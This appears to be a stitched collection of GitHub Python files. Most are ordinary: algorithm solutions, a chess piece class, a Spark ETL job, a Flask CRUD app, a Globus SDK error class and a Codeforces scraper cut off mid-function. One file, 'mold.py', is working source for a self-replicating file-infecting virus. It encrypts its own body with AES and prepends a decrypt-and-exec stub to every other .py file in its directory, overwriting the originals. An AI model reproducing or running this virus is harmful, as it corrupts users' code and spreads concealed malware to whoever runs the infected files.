print(dic_list[find])\n","repo_name":"leeeunseo912/baekjoon","sub_path":"ex1620.py","file_name":"ex1620.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15212272089","text":"# Created by shiyang07ca at 2023/06/27 13:34\n# https://leetcode.cn/problems/maximum-subarray-sum-with-one-deletion/\n\n\"\"\"\n1186. 删除一次得到子数组最大和 (Medium)\n给你一个整数数组,返回它的某个 **非空** 子数组(连续元素)在\n执行一次可选的删除操作后,所能得到的最大元素总和。换句话说,\n你可以从原数组中选出一个子数组,并可以决定要不要从中删除一个\n元素(只能删一次哦),(删除后)子数组中至少应当有一个元素,\n然后该子数组(剩下)的元素总和是所有子数组之中最大的。\n\n注意,删除一个元素后,子数组 **不能为空**。\n\n**示例 1:**\n\n```\n输入:arr = [1,-2,0,3]\n输出:4\n解释:我们可以选出 [1, -2, 0, 3],然后删掉 -2,这样得到 [1,\n0, 3],和最大。\n```\n\n**示例 2:**\n\n```\n输入:arr = [1,-2,-2,3]\n输出:3\n解释:我们直接选出 [3],这就是最大和。\n\n```\n\n**示例 3:**\n\n```\n输入:arr = [-1,-1,-1,-1]\n输出:-1\n解释:最后得到的子数组不能为空,所以我们不能��择 [-1] 并从中\n删去 -1 来得到 0。\n 我们应该直接选择 [-1],或者选择 [-1, -1] 再从中删去一个\n-1。\n\n```\n\n**提示:**\n\n- `1 <= arr.length <= 10⁵`\n- `-10⁴ <= arr[i] <= 10⁴`\n\n\"\"\"\n\nfrom typing import *\nfrom leetgo_py import *\n\n# @lc code=begin\n\n\nclass Solution:\n def maximumSum1(self, arr: List[int]) -> int:\n n = len(arr)\n f1 = [0] * (n + 1)\n f2 = [0] * (n + 1)\n ans = -inf\n for i, x in enumerate(arr, 1):\n f1[i] = max(f1[i - 1] + x, x)\n ans = max(ans, f1[i])\n for i in range(n - 1, -1, -1):\n print(arr[i])\n f2[i] = max(f2[i + 1] + arr[i], arr[i])\n\n for i in range(1, n - 1):\n ans = max(ans, f1[i] + f2[i + 1])\n\n return ans\n\n # 链接:https://leetcode.cn/problems/maximum-subarray-sum-with-one-deletion/solutions/2321829/jiao-ni-yi-bu-bu-si-kao-dong-tai-gui-hua-hzz6/\n def maximumSum(self, arr: List[int]) -> int:\n # 定义 dfs(i,j) 表示子数组的右端点是 arr[i],不能/必须删除数字的情况下,子数组元素和的最大值。\n @cache\n def dfs(i: int, j: int) -> int:\n if i < 0:\n return -inf # 子数组至少要有一个数,不合法\n if j == 0:\n return max(dfs(i - 1, 0), 0) + arr[i]\n return max(dfs(i - 1, 1) + arr[i], dfs(i - 1, 0))\n\n return max(max(dfs(i, 0), dfs(i, 1)) for i in range(len(arr)))\n\n\n# @lc code=end\n\nif __name__ == \"__main__\":\n arr: List[int] = deserialize(\"List[int]\", read_line())\n ans = Solution().maximumSum(arr)\n print(\"output:\", serialize(ans))\n","repo_name":"shiyang07ca/lab","sub_path":"algo/oj/leetcode/python/01186/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12312538303","text":"class NormalPiece:\n selected = False\n is_king = False\n\n def __init__(self, x, y, color):\n self.x = x\n self.y = y\n self.color = color\n\n \"\"\"\n 判断该逻辑位置(prex,prey)能不能落子\n \"\"\"\n\n def can_move(self, prex, prey, chessboard):\n pass\n\n \"\"\"\n 走棋\n \"\"\"\n\n def move(self, prex, prey, chessboard):\n if (prex, prey) in chessboard.all_pieces: # 吃子,将对方棋子挪出棋盘\n chessboard.delete(prex, prey)\n chessboard.delete(self.x, self.y)\n self.x = prex\n self.y = prey\n chessboard.all_pieces[self.x, self.y] = self\n return True\n\n \"\"\"\n 找出所有能落子的逻辑位置\n \"\"\"\n\n def findAll(self, chessboard):\n can_move = []\n for x in range(9):\n for y in range(10):\n if (x, y) in chessboard.all_pieces and chessboard.all_pieces[x, y].color == self.color:\n continue\n if self.can_move(x, y, chessboard):\n can_move.append((x, y))\n return can_move\n\n \"\"\"\n 判断南北\n \"\"\"\n\n def is_south(self):\n return self.color == \"black\"\n\n def is_north(self):\n return self.color == \"red\"\n","repo_name":"east-before-dawn/Check-Chess-Cheer","sub_path":"NormalPiece.py","file_name":"NormalPiece.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"13603060360","text":"# PIEMOLDER:START\n\n# Let's make it self-replicating...\n# Better encrypt our payload....\n\n\n\n\n\ndef execute(virus):\n\timport glob\n\timport os\n\tallpies = glob.glob(\"*.py\")\n\n\tfor py in allpies:\n\t\tthepie = open(py, \"r\")\n\t\tif \"# PIEMOLDER:START\" not in thepie.readline() and py != os.path.basename(__file__):\n\t\t\tthepie.close()\n\t\t\tthepie = open(py, \"r\")\n\t\t\trottenpie = open(\"%s.rotten\" % py, \"w\")\n\n\t\t\trottenpie.write(virus)\n\n\t\t\tfor line in thepie.readlines():\n\t\t\t\trottenpie.write(line)\n\n\t\t\tthepie.close()\n\t\t\trottenpie.close()\n\n\t\t\tos.remove(py)\n\t\t\tos.rename(\"%s.rotten\" % py, py)\n\n\nimport os\nvirus = os.path.basename(__file__)\nvfile = open(virus, \"r\")\ncopyover = False\nvstring = \"\"\nfor line in vfile.readlines():\n\tif line.find(\"# PIEMOLDER:START\") == 0:\n\t\tcopyover = True\n\tif line.find(\"# PIEMOLDER:END\") == 0:\n\t\tcopyover = False\n\t\tvstring += line\n\tif copyover:\n\t\tvstring += line\n\n\n# first we encrypt the mold....\nfrom Crypto.Cipher import AES\nimport base64\nkey = os.urandom(32)\niv4 = os.urandom(16)\ncryptor = AES.new(key, AES.MODE_CFB, iv4)\ncryptedvstring = base64.b64encode(cryptor.encrypt(vstring))\n\n# then we create a decrypt and run block to inject in the other pies\nvirus = \"# PIEMOLDER:START\\n\"\nvirus += \"from Crypto.Cipher import AES\\n\"\nvirus += \"import base64\\n\"\nvirus += \"cryptmold = '\"\nvirus += cryptedvstring\nvirus += \"'\\n\"\nvirus += \"key = base64.b64decode('%s')\\n\" % base64.b64encode(key)\nvirus += \"iv4 = base64.b64decode('%s')\\n\" % base64.b64encode(iv4)\nvirus += \"decryptor = AES.new(key, AES.MODE_CFB, iv4)\\n\"\nvirus += \"plainmold = decryptor.decrypt(base64.b64decode(cryptmold))\\n\"\nvirus += \"exec plainmold\\n\"\nvirus += \"# PIEMOLDER:END\\n\"\n\nexecute(virus)\n\n\n# PIEMOLDER:END\n\n\n\n\n","repo_name":"wizardofzos/piemolder","sub_path":"step03/mold.py","file_name":"mold.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34094487682","text":"from pyspark.sql import SparkSession\nimport configparser\nimport os\nimport logging\nimport pyspark.sql.functions as F\n\nOUTPUT_PATH = 's3a://output-data-project'\nINPUT_PATH = 's3a://input-data-project'\n\n\ndef createUSStatesDf(spark):\n \n us_cities_df = spark.read.csv(\n INPUT_PATH + '/dimension-data/us-cities-demographics.csv',\n sep=\";\",\n inferSchema=True,\n header=True\n )\n \n us_cities_df = us_cities_df.selectExpr(\n \"State as state\",\n \"`Male Population` as male_population\",\n \"`Female Population` as female_population\",\n \"`Total Population` as total_population\",\n \"`Foreign-born` as foreign_born\",\n \"`State Code` as state_code\",\n \"Race as race\",\n \"Count as count\"\n ).fillna({'foreign_born' : 0, 'male_population':0, 'female_population':0, 'total_population':0})\n \n us_states_df = us_cities_df.filter(F.col('race') == 'White').groupBy(\"state\", \"state_code\") \\\n .agg(\n F.sum(\"male_population\").alias(\"total_male_population\"), \\\n F.sum(\"female_population\").alias(\"total_female_population\"), \\\n F.sum(\"total_population\").alias(\"total_population\"), \\\n F.sum(\"foreign_born\").alias(\"total_foreign_born\") \\\n ).orderBy(F.col('state')).dropDuplicates()\n \n return us_states_df\n\ndef main():\n \n spark = SparkSession\\\n .builder\\\n .appName(\"Immigration_ETL\")\\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\")\\\n .getOrCreate()\n \n spark.sparkContext.setLogLevel(\"ERROR\")\n \n us_states_df = createUSStatesDf(spark)\n \n us_states_df.write.mode('overwrite').parquet(\n OUTPUT_PATH + '/dimension_tables/us_states.parquet')\n \n \nif __name__ == \"__main__\":\n main()","repo_name":"tonydo95/udacity-capstone-project","sub_path":"dags/scripts/spark/load_us_states_dimension.py","file_name":"load_us_states_dimension.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71224889212","text":"#!usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n'utils.py' (src.io)\n\nInput/output utility functions\n\n2018-2019 Steve Neale \n\"\"\"\n\nimport os\nimport pickle\n\n\ndef create_directory(path):\n destination = os.path.join(\".\", path)\n if not os.path.exists(destination):\n os.makedirs(destination)\n return destination\n\n\ndef save_pickled_model(model, destination):\n if not os.path.exists(\"{}/pkl_objects\".format(destination)):\n os.makedirs(\"{}/pkl_objects\".format(destination))\n with open(os.path.join(destination, \"pkl_objects\", \"model.pkl\"), \"wb\") as destination_file:\n pickle.dump(model, destination_file, protocol=4)\n\n\ndef load_pickled_model(source_location):\n with open(os.path.join(source_location, \"pkl_objects\", \"model.pkl\"), \"rb\") as source_file:\n model = pickle.load(source_file)\n return model\n","repo_name":"steveneale/lang_detector","sub_path":"src/io/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22434583218","text":"# By submitting this assignment, I agree to the following:\r\n# \"Aggies do not lie, cheat, or steal, or tolerate those who do.\"\r\n# \"I have not given or received any unauthorized aid on this assignment.\"\r\n#\r\n# Name: Nikhil Goyle\r\n# Section: ENGR102 - 216\r\n# Assignment: 10b-2\r\n# Date: 11/2/2020\r\n#\r\nimport numpy as np\r\n\r\nW = 900.0\r\n\r\nA = np.array([[-np.cos(40/360*2*np.pi),np.cos(55/360*2*np.pi)],[np.sin(40/360*2*np.pi),np.sin(55/360*2*np.pi)]])\r\nb = np.array([[0],[W]])\r\n\r\nresult = np.linalg.solve(A,b)\r\nprint(\"At a weight of W =\",W)\r\nprint(\"The tension in the tethers are T1 = {:.1f} lbf and T2 = {:.1f} lbf\".format(result[0][0],result[1][0]))\r\nprint()\r\nmaxT = result[1][0]\r\nwhile (maxT) < 800:\r\n W += 5\r\n A = np.array([[-np.cos(40/360*2*np.pi),np.cos(55/360*2*np.pi)],[np.sin(40/360*2*np.pi),np.sin(55/360*2*np.pi)]])\r\n b = np.array([[0],[W]])\r\n result = np.linalg.solve(A,b)\r\n if result[0][0] > 800 or result[1][0] > 800:\r\n W -= 5\r\n break\r\n T1 = result[0][0]\r\n T2 = result[1][0]\r\n if T1 > maxT:\r\n maxT = T1\r\n if T2 > maxT:\r\n maxT = T1\r\nprint(\"The largest weight that can be safely supported is {:.0f} lbs at T1 = {:.1f} lbf and T2 = {:.1f} lbf\".format(W,T1,T2))","repo_name":"NikhilGoyle/python-assignments","sub_path":"ENGR102/ENGR102/Lab10b_Act2.py","file_name":"Lab10b_Act2.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5658470846","text":"from dotenv import load_dotenv\nimport os\nuser = os.environ['USER']\nprint(user)\n\n###https://www.twilio.com/blog/environment-variables-python\n\n#setando valor default\ndatabase_url = os.environ.get('DATABASE_URL', 'sqlite:///:memory:')\nprint(database_url)\n\n#DATABASE_URL=ORACLE python config_enviroment.py\n\nload_dotenv(\"test.env\")\nprivate_key = os.environ.get('PRIVATE_KEY', 'NAO_CARREGADO')\nprint(f\"private_key: {private_key}\")\n","repo_name":"cbeloni/python-poc","sub_path":"config_enviroment.py","file_name":"config_enviroment.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8019540268","text":"from __future__ import annotations\n\nimport logging\nimport typing as t\n\nimport requests\n\nfrom .base import GlobusError\nfrom .err_info import ErrorInfoContainer\nfrom .warnings import warn_deprecated\n\nlog = logging.getLogger(__name__)\n\n\nclass GlobusAPIError(GlobusError):\n \"\"\"\n Wraps errors returned by a REST API.\n\n :ivar http_status: HTTP status code (int)\n :ivar code: Error code from the API (str),\n or \"Error\" for unclassified errors\n :ivar message: Error message from the API. In general, this will be more\n useful to developers, but there may be cases where it's\n suitable for display to end users.\n \"\"\"\n\n MESSAGE_FIELDS = [\"message\", \"detail\"]\n RECOGNIZED_AUTHZ_SCHEMES = [\"bearer\", \"basic\", \"globus-goauthtoken\"]\n\n def __init__(self, r: requests.Response, *args: t.Any, **kwargs: t.Any):\n self.http_status = r.status_code\n # defaults, may be rewritten during parsing\n self.code = \"Error\"\n self.message = r.text\n\n self._info: ErrorInfoContainer | None = None\n self._underlying_response = r\n self._parse_response()\n super().__init__(*self._get_args())\n\n @property\n def http_reason(self) -> str:\n \"\"\"\n The HTTP reason string from the response.\n\n This is the part of the status line after the status code, and typically is a\n string description of the status. If the status line is\n ``HTTP/1.1 404 Not Found``, then this is the string ``\"Not Found\"``.\n \"\"\"\n return self._underlying_response.reason\n\n @property\n def headers(self) -> t.Mapping[str, str]:\n \"\"\"\n The HTTP response headers as a case-insensitive mapping.\n\n For example, ``headers[\"Content-Length\"]`` and ``headers[\"content-length\"]`` are\n treated as equivalent.\n \"\"\"\n return self._underlying_response.headers\n\n @property\n def content_type(self) -> str | None:\n return self.headers.get(\"Content-Type\")\n\n def _json_content_type(self) -> bool:\n r = self._underlying_response\n return \"Content-Type\" in r.headers and (\n \"application/json\" in r.headers[\"Content-Type\"]\n )\n\n @property\n def raw_json(self) -> dict[str, t.Any] | None:\n \"\"\"\n Get the verbatim error message received from a Globus API, interpreted\n as JSON data\n\n If the body cannot be loaded as JSON, this is None\n \"\"\"\n r = self._underlying_response\n if not self._json_content_type():\n return None\n\n try:\n # technically, this could be a non-dict JSON type, like a list or string\n # but in those cases the user can just cast -- the \"normal\" case is a dict\n return t.cast(t.Dict[str, t.Any], r.json())\n except ValueError:\n log.error(\n \"Error body could not be JSON decoded! \"\n \"This means the Content-Type is wrong, or the \"\n \"body is malformed!\"\n )\n return None\n\n @property\n def text(self) -> str:\n \"\"\"\n Get the verbatim error message received from a Globus API as a *string*\n \"\"\"\n return self._underlying_response.text\n\n @property\n def raw_text(self) -> str:\n \"\"\"\n Deprecated alias of the ``text`` property.\n \"\"\"\n warn_deprecated(\n \"The 'raw_text' property of GlobusAPIError objects is deprecated. \"\n \"Use the 'text' property instead.\"\n )\n return self.text\n\n @property\n def binary_content(self) -> bytes:\n \"\"\"\n The error message received from a Globus API in bytes.\n \"\"\"\n return self._underlying_response.content\n\n @property\n def info(self) -> ErrorInfoContainer:\n \"\"\"\n An ``ErrorInfoContainer`` with parsed error data. The ``info`` of an error is\n guaranteed to be present, but all of its contents may be falsey if the error\n could not be parsed.\n \"\"\"\n if self._info is None:\n rawjson = self.raw_json\n json_data = rawjson if isinstance(rawjson, dict) else None\n self._info = ErrorInfoContainer(json_data)\n return self._info\n\n def _get_request_authorization_scheme(self) -> str | None:\n try:\n authz_h = self._underlying_response.request.headers[\"Authorization\"]\n authz_scheme = authz_h.split()[0]\n if authz_scheme.lower() in self.RECOGNIZED_AUTHZ_SCHEMES:\n return authz_scheme\n except (IndexError, KeyError):\n pass\n return None\n\n def _get_args(self) -> list[t.Any]:\n \"\"\"\n Get arguments to pass to the Exception base class. These args are\n displayed in stack traces.\n \"\"\"\n return [\n self._underlying_response.request.method,\n self._underlying_response.url,\n self._get_request_authorization_scheme(),\n self.http_status,\n self.code,\n # if the message is \"\", try using response reason\n # for details on these, and some examples, see\n # https://datatracker.ietf.org/doc/html/rfc7231#section-6.1\n self.message or self._underlying_response.reason,\n ]\n\n def _parse_response(self) -> None:\n \"\"\"\n This is an intermediate step between 'raw_json' (loading bare JSON data)\n and the \"real\" parsing method, '_load_from_json'\n\n _parse_response() pulls the JSON body and does the following:\n - if the data is not a dict, ensure _load_from_json is not called (so it only\n gets called on dict data)\n - if the data contains an 'errors' array, pull out the first error document and\n pass that to _load_from_json()\n - log a warning on non-dict JSON data\n \"\"\"\n json_data = self.raw_json\n if json_data is None:\n log.debug(\"Error body was not parsed as JSON\")\n return\n if not isinstance(json_data, dict):\n log.warning( # type: ignore[unreachable]\n \"Error body could not be parsed as JSON because it was not a dict\"\n )\n return\n\n # if there appears to be a list of errors in the response data, grab the\n # first error from that list for parsing\n # this is only done if we determine that\n # - 'errors' is present and is a non-empty list\n # - 'errors[0]' is a dict\n #\n # this gracefully handles other uses of the key 'errors', e.g. as an int:\n # {\"message\": \"foo\", \"errors\": 6}\n if (\n isinstance(json_data.get(\"errors\"), list)\n and len(json_data[\"errors\"]) > 0\n and isinstance(json_data[\"errors\"][0], dict)\n ):\n # log a warning only when there is more than one error in the list\n # if an API sends back an error of the form\n # {\"errors\": [{\"foo\": \"bar\"}]}\n # then the envelope doesn't matter and there's only one error to parse\n if len(json_data[\"errors\"]) != 1:\n log.warning(\n \"Doing JSON load of error response with multiple \"\n \"errors. Exception data will only include the \"\n \"first error, but there are really %d errors\",\n len(json_data[\"errors\"]),\n )\n # try to grab the first error in the list, but also check\n # if it isn't a dict\n json_data = json_data[\"errors\"][0]\n self._load_from_json(json_data)\n\n def _load_from_json(self, data: dict[str, t.Any]) -> None:\n # rewrite 'code' if present and correct type\n if isinstance(data.get(\"code\"), str):\n self.code = data[\"code\"]\n\n for f in self.MESSAGE_FIELDS:\n if isinstance(data.get(f), str):\n log.debug(\"Loaded message from '%s' field\", f)\n self.message = data[f]\n break\n else:\n log.debug(\"No message found in parsed error body\")\n","repo_name":"LivePublication/LP_GlobusAP_Template","sub_path":"venv/lib/python3.11/site-packages/globus_sdk/exc/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":8089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"24023652364","text":"from flask import request, render_template, redirect\nfrom user_app.models.users import User\nfrom user_app import app\n\n@app.route(\"/\")\ndef main():\n return render_template(\"index.html\")\n\n@app.route(\"/submit\", methods=['POST'])\ndef add_user():\n data = {\n 'first_name' : request.form['first_name'],\n 'last_name' : request.form['last_name'],\n 'email' : request.form['email'],\n }\n new_user_id = User.add_user(data)\n return redirect('/')\n\n@app.route(\"/all_users\")\ndef all_users():\n all_users = User.get_all()\n return render_template(\"read.html\", all_users = all_users)\n\n@app.route(\"/profile/\")\ndef showProfile(id):\n currentUser = User.findUser(id)\n return render_template(\"userprofile.html\", currentUser = currentUser[0])\n\n@app.route(\"/edit/\")\ndef editProfile(id):\n currentUser = User.findUser(id)\n return render_template(\"editprofile.html\", currentUser=currentUser[0])\n\n@app.route(\"/update/\", methods=['post'])\ndef updatedProfile(id):\n data = {\n 'first_name': request.form['first_name'],\n 'last_name': request.form['last_name'],\n 'email': request.form['email'],\n }\n User.updateUser(id, data)\n return redirect(\"/profile/%s\" %(id))\n\n@app.route(\"/delete/\")\ndef deleteProfile(id):\n User.deleteUser(id)\n return redirect(\"/all_users\")\n\nif __name__ == \"__main__\":\n app.run(debug=True) \n","repo_name":"NathanCFoster/pythonBasics","sub_path":"mysql/users_cr/user_app/controllers/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3163934321","text":"class Solution(object):\n def plusOne(self, digits):\n if (len(digits)==0): return None\n if(digits[len(digits)-1]!=9):\n digits[len(digits)-1]+=1\n return digits\n ans=[]\n carry=1\n for i in range(len(digits)-1,-1,-1):\n sum=digits[i]+carry\n ans.append(sum%10)\n carry=sum//10\n if(i==0 and carry==1): ans.append(carry)\n ans.reverse()\n return(ans)\n","repo_name":"Ha-ri-ka/DSA-Practice","sub_path":"LeetCode/Easy/0066_PlusOne.py","file_name":"0066_PlusOne.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29010802072","text":"class KWICIndex:\n def __init__(self, text, keyword, context):\n # Инициализация: преобразование текста и ключевого слова в нижний регистр и разбиение текста на строки\n self.lines = text.lower().split('\\n')\n self.keyword = keyword.lower()\n self.context = context # Количество слов слева и справа от ключевого слова, которые будут включены в контекст\n self.matches = [] # Список для хранения строк, содержащих ключевое слово\n\n def find_matches(self):\n # Поиск строк, содержащих ключевое слово\n for line in self.lines:\n if self.keyword in line:\n self.matches.append(line) # Добавление подходящей строки в список совпадений\n\n def get_context(self):\n # Получение контекста для каждого совпадения ключевого слова\n contexts = [] # Список для хранения контекстов\n for match in self.matches:\n words = match.split() # Разбиение строки на слова\n try:\n position = words.index(self.keyword) # Поиск позиции ключевого слова\n start = max(position - self.context, 0) # Определение начальной позиции контекста\n end = position + self.context + 1 # Определение конечной позиции контекста\n context_string = \" \".join(words[start:end]) # Сборка контекстной строки\n contexts.append(context_string) # Добавление контекстной строки в список\n print(context_string) # Вывод контекстной строки в консоль\n except ValueError:\n # Если ключевое слово не найдено, пропускаем эту итерацию\n pass\n return contexts # Возвращение списка контекстов\n\n# Текст для индексации\ntext = \"\"\"\nKWIC is an acronym for Key Word In Context, the most common format for concordance lines. ... page 1\n... Key Word In Context, the most common format for concordance lines. ... page 1\n... the most common format for concordance lines. ... page 1\n... is an acronym for Key Word In Context, the most common format ... page 1\nWikipedia, The Free Encyclopedia ... page 0\n... In Context, the most common format for concordance lines. ... page 1\nWikipedia, The Free Encyclopedia ... page 0\nKWIC is an acronym for Key Word In Context, the most ... page 1\nKWIC is an acronym for Key Word ... page 1\n... common format for concordance lines. ... page 1\n... for Key Word In Context, the most common format for concordance ... page 1\nWikipedia, The Free Encyclopedia ... page 0\nKWIC is an acronym for Key Word In Context, the most common ... page 1\n\"\"\"\n\n\n# Ключевое слово для поиска\nkeyword = \"for\"\n# Размер контекста (количество слов до и после ключевого слова)\ncontext_size = 2\n\n# Создание экземпляра класса KWICIndex\nkwic = KWICIndex(text, keyword, context_size)\n# Поиск совпадений ключевого слова в тексте\nkwic.find_matches()\n# Получение контекстов для совпадений\nkwic_contexts = kwic.get_context()\n\n# Вывод контекстов в консоль\nfor context in kwic_contexts:\n print(context)\n","repo_name":"peacekeeper228/taxi","sub_path":"tasks/Chistobaev Daniil-Task8/A1.py","file_name":"A1.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2384894178","text":"import os, re\n\nfrom apihandler import APIHandler\nfrom urltool import URLtool as urltool\nfrom scrape_common import stamp, elapsed, sleepbreak, \\\n infc, binfc, numc, msgc, errc, Scraped\n\ndef savesource(contest, sub):\n err = lambda *s: stamp(errc('savesource:', *s),\n errinfo=f'contest{contest}, sub{sub[\"id\"]}')\n if os.path.isdir('contest' + contest + '/' + sub['lang']):\n for path in os.listdir('contest' + contest + '/' + sub['lang']):\n for name in os.listdir('/'.join(['contest' + contest,\n sub['lang'], path])):\n # already saved the source\n try:\n if sub['id'] == name.split('sub')[1].split('_')[0]:\n Scraped.done += 1\n return True\n except: pass\n savesource.errorcount += 1\n if sleepbreak(savesource.sleep, savesource.sleep * savesource.errorcount):\n return None\n if savesource.sleep < savesource.maxsleep:\n savesource.sleep *= 2\n url = 'https://codeforces.com/contest/' + contest + \\\n '/submission/' + sub['id']\n response = urltool.gethtml(url)\n if urltool.err is not None:\n err(urltool.err)\n urltool.err = None\n if not response:\n return savesource(contest,sub) if savesource.errorcount < 3 else False\n response = response.split(sub['id'])\n # submission wasn't in the html\n if len(response) == 1:\n for thing in response:\n if 'Codeforces is temporarily unavailable' in thing:\n err('Codeforces is temporarily unavailable')\n if sleepbreak(300,600):\n return None\n return False\n with open('fail','w') as outfile:\n for i,thing in enumerate(response):\n outfile.write(str(i) + ': ' + thing)\n err('submission wasn\\'t in the response')\n return False\n path = ''\n source = ''\n for i in range(len(response)):\n try:\n if source == '' and '
')[1].split('<')[0] + '\\n'\n        source = re.sub('<', '<', source)\n        source = re.sub('>', '>', source)\n        source = re.sub('"', '\\\"', source)\n        source = re.sub(''', '\\'', source)\n        source = re.sub(''', '\\'', source)\n        source = re.sub('&', '&', source)\n        source = re.sub('\\r', '\\n', source)\n        source = re.sub('[\\s]+\\n', '\\n', source)\n      elif path == '' and 'Accepted' in response[i]:\n        part = response[i].split('href=\\\"/contest')[1]\n        path = 'contest' + part.split('\\\"')[0][1:]\n        path = re.sub('problem', sub['lang'], path)\n    except: pass\n  source = source.rstrip()\n  if path == '' or source == '':\n    err('didn\\'t parse the path or source')\n    return False\n  source += '\\n'\n  savesource.errorcount //= 2\n  savesource.sleep //= 2\n  if savesource.sleep > savesource.minsleep:\n    savesource.sleep //= 2\n  folders = path.split('/')\n  path = ''\n  for folder in folders:\n    if not os.path.isdir(path + folder):\n      os.mkdir(path + folder)\n    path += folder + '/'\n  name = 'sub' + '_'.join([sub['id'], sub['time'], sub['mem']]) + sub['ext']\n  with open(path + name, 'w') as outfile:\n    outfile.write(source)\n  Scraped.done += 1\n  return True\n\nsavesource.errorcount = 0\n# sleep doubles every error\nsavesource.maxsleep = 384 # 3*(2**7)\nsavesource.minsleep = 15\nsavesource.sleep = savesource.minsleep\n\ndef retryskipped(startup=False):\n  stamp(binfc('Checking for failed scrape attempts . . .'))\n  for contest in os.listdir('progress/'):\n    if not contest.startswith('progress'): continue\n    missingsubs = 0\n    with open('progress/' + contest, 'r') as infile:\n      for line in infile.readlines():\n        if line.startswith('sub'): missingsubs += 1\n    if missingsubs == 0: continue\n    if startup:\n      Scraped.attempts += missingsubs\n      urltool.setcontest(contest.split('progress')[1])\n    plural = 's' if missingsubs != 1 else ''\n    stamp(infc(f'Contest {contest.split(\"progress\")[1]} has {missingsubs}',\n              'missing submission' + plural))\n    gotten = updateProgressFile(contest = contest.split('progress')[1],\n                                start = 0,\n                                retry = 0)\n    if gotten is None: return False\n    if missingsubs - gotten == 0:\n      plural = 's' if gotten != 1 else ''\n      stamp(infc('Retrieved', 'all of the' if gotten > 1 else 'the',\n            'missing submission' + plural))\n    else:\n      plural = 's' if gotten != 1 else ''\n      stamp(infc(f'Retrieved {gotten} previously missing submission' + plural))\n      plural = 's' if missingsubs-gotten != 1 else ''\n      stamp(infc(f'{missingsubs-gotten} submission' + plural, 'still missing'))\n  stamp(infc('Done checking for failed scrape attempts, continuing . . .'))\n  return True\n\ndef updateProgressFile(contest, start = 0, retry = None):\n  savelines = []\n  finalline = ''\n  sleepbreak()\n  if os.path.isfile('progress/progress' + contest):\n    with open('progress/progress' + contest, 'r') as infile:\n      for line in infile.readlines():\n        line = line.strip()\n        if line == '': continue\n        if line.startswith('#'):\n          finalline = line\n          start = -1\n        elif not line.startswith('sub'):\n          if start >= 0 and start < int(line): start = int(line)\n        elif line not in savelines:\n          if retry is None:\n            savelines.append(line)\n          else:\n            good = False\n            try:\n              sub = {}\n              for part in line.split('#')[1:-1]:\n                parts = part.split('=')\n                sub[parts[0]] = parts[1]\n              good = savesource(contest, sub)\n            except Exception as e:\n              stamp(errc(f'updateProgressFile: {e}'),\n                                errinfo=f'contest{contest}, sub{sub[\"id\"]}')\n            if good is None: return None\n            if good: retry += 1\n            else: savelines.append(line)\n  if start == 0: start = 1\n  with open('progress/progress' + contest, 'w') as outfile:\n    for line in savelines:\n      outfile.write(line + '\\n')\n    if start > 0: outfile.write(str(start))\n    else: outfile.write(finalline)\n  if retry is not None: return retry\n  return start\n\ndef getcontests(api):\n  # Get a list of contest ids\n  contests = None\n  if os.path.isfile('contests'):\n    with open('contests', 'r') as infile:\n      contests = [ line.strip() for line in infile.readlines() \\\n                          if line.strip() != '' ]\n    stamp(binfc('Loaded'), numc(str(len(contests))), binfc('contests'))\n  else:\n    urltool.setcontest(None)\n    stamp(binfc('Getting a list of contest ids'))\n    contests = api.request('contest.list', 'gym=false')\n    if contests is None: return None\n    if not contests:\n      stamp(errc('getcontests unable to get contest list'))\n      return None\n    stamp(binfc('Retrieved'), numc(str(len(contests))), binfc('contests'))\n    contests = [ str(contest['id']) for contest in contests \\\n                          if contest['phase'] == 'FINISHED' ]\n    with open('contests', 'w') as outfile:\n      outfile.write('\\n'.join(contests))\n    stamp(binfc('There are'), numc(str(len(contests))), binfc('contests'))\n  # Get to the first contest that hasn't been marked as finished\n  skipcontests = []\n  for contest in contests:\n    start = updateProgressFile(contest)\n    if start < 0:\n      skipcontests.append(contest)\n      continue\n    if len(skipcontests) == 0: break\n    if len(skipcontests) == 1:\n      stamp(infc('Skipped contest'), numc(skipcontests[0]))\n      break\n    # Don't wrap lines, get maximum printable length\n    maxlen = min(80, os.get_terminal_size()[0]) - len(' [hh:mm.ss] ') - 1\n    printstr = 'Skipped contests:'\n    currlen = len(printstr) + 1 + len(skipcontests[0])\n    printstr = infc(printstr) + ' '\n    skipstr = skipcontests[0]\n    for part in skipcontests[1:]:\n      if currlen + 2 + len(part) < maxlen:\n        currlen += 2 + len(part)\n        skipstr += ', ' + part\n      else:\n        stamp(printstr + numc(skipstr))\n        printstr = '                  '\n        skipstr = part\n        currlen = len(printstr) + len(part)\n    stamp(printstr + numc(skipstr))\n    break\n  # Remove skipped contests\n  for skip in skipcontests: contests.remove(skip)\n  if len(contests) == 0: return None\n  # 